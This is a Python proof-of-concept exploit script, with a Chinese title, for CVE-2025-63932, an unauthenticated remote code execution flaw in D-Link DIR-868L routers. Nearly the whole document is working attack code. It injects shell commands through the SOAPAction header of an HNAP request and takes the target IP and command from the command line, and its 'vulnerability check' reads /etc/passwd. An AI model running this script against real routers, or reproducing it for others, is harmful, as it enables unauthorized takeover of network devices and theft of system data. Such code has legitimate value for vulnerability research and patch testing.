D-Link DIR-868L路由器未授权远程代码执行漏洞 (CVE-2025-63932)

#!/usr/bin/env python3 """ CVE-2025-63932 PoC - D-Link DIR-868L Unauthenticated RCE via SOAPAction Header Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-63932 """ import requests import sys def exploit_dlink_rce(target_ip, target_port=80, cmd="id"): """ Exploit CVE-2025-63932: Unauthenticated RCE in D-Link DIR-868L HNAP service Args: target_ip: Target router IP address target_port: Target router port (default: 80) cmd: Command to execute on the target system Returns: Response from the exploited service """ url = f"http://{target_ip}:{target_port}/HNAP1/" # Construct malicious SOAPAction header with command injection # The HNAP service does not filter the SOAPAction header field # Inject command using backticks for command substitution payload = f'{{";{cmd}#}}' headers = { 'SOAPAction': payload, 'Content-Type': 'text/xml', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-63932)', 'HNAP_AUTH': '1234', # Some endpoints may require this header 'Cookie': 'uid=1234567890' } # XML payload for HNAP request xml_body = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://purenetworks.com/HNAP1/"> <soap:Header> <tns:HNAPAuth xmlns:tns="http://purenetworks.com/HNAP1/">1234</tns:HNAPAuth> </soap:Header> <soap:Body> <tns:Login> <Username>Admin</Username> <LoginPassword></LoginPassword> <Captcha></Captcha> </tns:Login> </soap:Body> </soap:Envelope>''' try: print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Executing command: {cmd}") response = requests.post(url, headers=headers, data=xml_body, timeout=10, verify=False) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") print(f"\n[+] Response Content:\n{response.text[:1000]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-63932 """ print(f"[*] Checking if {target_ip} is vulnerable...") # Try to execute a safe command to verify vulnerability exploit_dlink_rce(target_ip, target_port, "cat /etc/passwd") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-63932.py <target_ip> [port] [command]") print("Example: python cve-2025-63932.py 192.168.0.1 80 'id'") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 command = sys.argv[3] if len(sys.argv) > 3 else "id" exploit_dlink_rce(target, port, command)